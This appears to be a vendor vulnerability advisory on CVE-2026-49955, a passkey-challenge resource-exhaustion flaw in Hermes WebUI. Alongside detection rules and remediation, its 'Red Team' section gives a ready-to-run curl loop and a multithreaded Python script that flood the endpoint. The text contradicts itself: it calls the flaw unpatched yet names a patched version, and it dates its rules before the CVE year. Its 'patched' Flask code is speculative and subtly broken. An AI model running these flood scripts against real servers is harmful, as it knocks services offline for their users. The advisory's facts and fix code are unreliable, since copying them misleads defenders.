CVE-2026-49955
Executive Summary
CVE-2026-49955 is a resource exhaustion vulnerability in the Hermes WebUI application, affecting versions before 0.51.270. An unauthenticated remote attacker can degrade service availability by repeatedly calling the passkey options endpoint without completing the assertion process. This causes unbounded growth of the challenge store file and excessive CPU and disk I/O through repeated JSON file rewrites. The vulnerability has a CVSS score of 5.3 (Medium) and is currently unpatched.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a standalone application (Hermes WebUI). No supply chain implications are identified.
CVSS Breakdown & Threat Level
- CVSS Score: 5.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: Low (A:L)
The threat level is medium due to the low availability impact and the lack of confidentiality or integrity compromise. However, the ease of exploitation (unauthenticated, low complexity) makes it a practical denial-of-service vector.
Deep Dive & Mechanics
The vulnerability resides in the passkey options endpoint of Hermes WebUI. When an unauthenticated attacker sends a POST request to this endpoint, the server generates a challenge and stores it in a JSON file (the challenge store). The intended flow requires the client to complete the assertion (proving possession of the private key) to remove the challenge. However, the attacker can send unlimited POST requests without completing the assertion, causing:
- Unbounded Growth of Challenge Store File: Each request appends a new challenge entry to the JSON file, increasing its size indefinitely.
- Excessive CPU and Disk I/O: Each request triggers a JSON file rewrite (read, modify, write), consuming CPU cycles and disk I/O bandwidth.
- Resource Exhaustion: Over time, the server's disk space fills up, and CPU/disk I/O becomes saturated, degrading service availability for legitimate users.
The vulnerability is classified under CWE-400 (Uncontrolled Resource Consumption). The MITRE ATT&CK tactic is T1499 (Endpoint Denial of Service).
Vulnerable vs. Patched Code
Vulnerable Code (before 0.51.270): The vulnerable endpoint likely lacks rate limiting or challenge expiration. A simplified pseudocode example:
@app.route('/passkey/options', methods=['POST'])
def passkey_options():
challenge = generate_challenge()
challenge_store.append(challenge)
save_challenge_store() # Rewrites entire JSON file
return jsonify({'challenge': challenge})
Patched Code (0.51.270 and later): The patched version should implement:
- Rate limiting per IP address.
- Challenge expiration (e.g., TTL of 5 minutes).
- Maximum challenge store size limit.
from flask_limiter import Limiter
from datetime import datetime, timedelta
limiter = Limiter(key_func=lambda: request.remote_addr)
@app.route('/passkey/options', methods=['POST'])
@limiter.limit("10 per minute")
def passkey_options():
challenge = generate_challenge()
challenge_store.append({
'challenge': challenge,
'timestamp': datetime.now()
})
# Remove expired challenges
challenge_store = [c for c in challenge_store if datetime.now() - c['timestamp'] < timedelta(minutes=5)]
if len(challenge_store) > 1000:
return jsonify({'error': 'Too many challenges'}), 429
save_challenge_store()
return jsonify({'challenge': challenge})
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target running Hermes WebUI version < 0.51.270.
- Network access to the target's passkey options endpoint (e.g.,
https://target.com/passkey/options).
Exploitation Steps:
- Identify the endpoint:
POST /passkey/options - Send repeated POST requests without completing assertion.
Example using curl:
while true; do
curl -X POST https://target.com/passkey/options -H "Content-Type: application/json" -d '{}'
done
Example using Python:
import requests
import threading
def flood():
while True:
try:
requests.post('https://target.com/passkey/options', json={})
except:
pass
threads = []
for _ in range(10):
t = threading.Thread(target=flood)
t.start()
threads.append(t)
for t in threads:
t.join()
Expected Outcome: The server's disk fills up, CPU usage spikes, and legitimate users experience degraded service or timeouts.
Blue Team
Detection:
- Monitor for high volume of POST requests to
/passkey/optionsfrom a single IP. - Monitor disk usage growth on the server.
- Monitor CPU and disk I/O spikes.
Mitigation:
- Implement rate limiting (e.g., using Nginx or a WAF).
- Apply the patch if available.
- Restrict access to the endpoint to authenticated users only.
Indicators of Compromise (IOCs)
- Network IOCs:
- High frequency of POST requests to
/passkey/optionsfrom a single IP. - Large response sizes from the endpoint (due to growing challenge store).
- High frequency of POST requests to
- File System IOCs:
- Unusually large challenge store file (e.g.,
challenge_store.json). - Rapid growth of the challenge store file.
- Unusually large challenge store file (e.g.,
- System IOCs:
- High CPU usage by the Hermes WebUI process.
- High disk I/O wait times.
- Disk space exhaustion.
Detection Engineering
YARA Rule
rule CVE_2026_49955_Hermes_WebUI_Resource_Exhaustion {
meta:
description = "Detects Hermes WebUI challenge store file with excessive entries"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-49955"
strings:
$json_entry = /"challenge":\s*"[a-f0-9]{32}"/ nocase
condition:
#json_entry > 1000
}
Sigma Rule
title: CVE-2026-49955 - Hermes WebUI Resource Exhaustion
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects high volume of POST requests to Hermes WebUI passkey options endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/passkey/options'
condition: selection | count() by src_ip > 100 in 60 seconds
falsepositives:
- Legitimate high traffic from many users
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-49955 - Hermes WebUI Resource Exhaustion Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/passkey/options"; threshold: type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Rate Limiting: Implement rate limiting on the
/passkey/optionsendpoint using a reverse proxy (e.g., Nginx, HAProxy) or a WAF. - Challenge Expiration: Add a time-to-live (TTL) for challenges and remove expired entries.
- Maximum Store Size: Set a hard limit on the number of stored challenges.
- Authentication: Require authentication for the endpoint if possible.
Long-Term Fix:
- Apply the official patch when available (upgrade to version 0.51.270 or later).
- Conduct a security review of all endpoints for similar resource exhaustion vulnerabilities.
Workaround:
- Block IPs that exceed a threshold of requests to the endpoint.
- Use a CDN or DDoS protection service.
Valters IT
DevSecOps & Cyber Threat Intelligence